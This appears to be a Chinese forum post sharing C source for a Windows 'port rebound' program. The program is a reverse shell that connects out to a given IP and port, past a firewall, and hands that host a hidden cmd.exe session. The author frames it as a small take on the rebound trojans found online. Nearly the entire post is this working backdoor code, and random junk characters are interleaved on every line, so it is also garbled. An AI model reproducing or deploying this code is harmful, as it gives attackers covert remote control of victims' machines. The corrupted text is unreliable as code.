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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K1vm [Ne  
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/* ============================== "F,d}3}  
Rebound port in Windows NT (k@%04c  
By wind,2006/7 w]BZgF.  
===============================*/ ,+iREh;  
#include L`fDc  
#include m' LRP:9v  
@kq~q;F  
#pragma comment(lib,"wsock32.lib") o0f{ePZ=  
G^Z SQ!  
void OutputShell(); `ViFY   
SOCKET sClient; 3Pb]Of#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E"EBj7<s  
ddf# c,SQ  
void main(int argc,char **argv) L_3undy,  
{ #0i] g)  
WSADATA stWsaData; =h`yc$ A(2  
int nRet; $m.e}`7SF!  
SOCKADDR_IN stSaiClient,stSaiServer; D"5uN0Z  
FwdRM)1)  
if(argc != 3) q~3dbj  
{ O<@S,/Q4  
printf("Useage:\n\rRebound DestIP DestPort\n"); U[!x 0M  
return; $@[`/Uh   
} O Oa}+^-j  
!9$xfg }  
WSAStartup(MAKEWORD(2,2),&stWsaData); [Rqv49n*V  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1T{A(<:o$  
{V> >a  
stSaiClient.sin_family = AF_INET; }d,iA FG  
stSaiClient.sin_port = htons(0); U%swqle4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l P4A?J+Q  
pa7Iz^i  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i.0}d5Y  
{ [OH9/ "  
printf("Bind Socket Failed!\n"); 7?@s.Sz|fV  
return; \'rh7!v-u  
} 5LT{]&`9  
XJ3 5Z+M  
stSaiServer.sin_family = AF_INET; V b=Oz  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jIZpv|t)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t%<@k)hd~G  
Q%.V\8#|V  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |@J:A!  
{ 7=YjY)6r^  
printf("Connect Error!"); ]Zfg~K(  
return; $6BD6\@  
} T.1*32cX  
OutputShell(); V!eq)L  
} {Z>OAR#   
e 1W9Z $m  
void OutputShell() O-rHfIxY  
{ VA9" Au  
char szBuff[1024]; N :#"4e  
SECURITY_ATTRIBUTES stSecurityAttributes; ,W"[q~  
OSVERSIONINFO stOsversionInfo; ={Bcbj{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /cPe zX  
STARTUPINFO stStartupInfo; ;~&F}!pQ  
char *szShell; lyBae?%&  
PROCESS_INFORMATION stProcessInformation; Q@]QPpe  
unsigned long lBytesRead; `0@onDQVc=  
Mlr\#BO"9  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B~/:["zTh&  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (Rqn)<<2  
stSecurityAttributes.lpSecurityDescriptor = 0; CzP?J36W^  
stSecurityAttributes.bInheritHandle = TRUE; 3` ov?T(H  
jhd&\z-  
$^ \8-k "  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mnK SO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8IErLu}  
b?6-lYE>L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _7j-y 9V  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d!+8  
stStartupInfo.wShowWindow = SW_HIDE; [P5+}@t  
stStartupInfo.hStdInput = hReadPipe; c/fU0cA@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9,7IsT8  
0w'%10"&U+  
GetVersionEx(&stOsversionInfo); XBd/,:q  
w8!S;~xKI  
switch(stOsversionInfo.dwPlatformId) `|Aj3a3sND  
{ ))y`q@  
case 1: [O) Q\|k  
szShell = "command.com"; ZPrL)']  
break; Nj8 `<Sl  
default: RR,gC"cTi  
szShell = "cmd.exe"; -+^E5  
break; zZ rUS'8  
} clE_a?  
{Kn:>l$*7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xign!=  
B@P +b*%  
send(sClient,szMsg,77,0); ?`wO \>y  
while(1) X,m6#vLK2  
{ Y?cdm}:Ou  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X?m"86L  
if(lBytesRead) V)[ta`9  
{  V6opV&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nVkPYeeT  
send(sClient,szBuff,lBytesRead,0); J2rw4L  
} 4bV&U=  
else tOn 6  
{ (/x%zmY;/U  
lBytesRead=recv(sClient,szBuff,1024,0); nE$8-*BZ_  
if(lBytesRead<=0) break; #\15,!*a=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 13+f ^  
} 1C,=1bY  
} 05]y*I  
j<H5i}  
return; T(Q(7  
}
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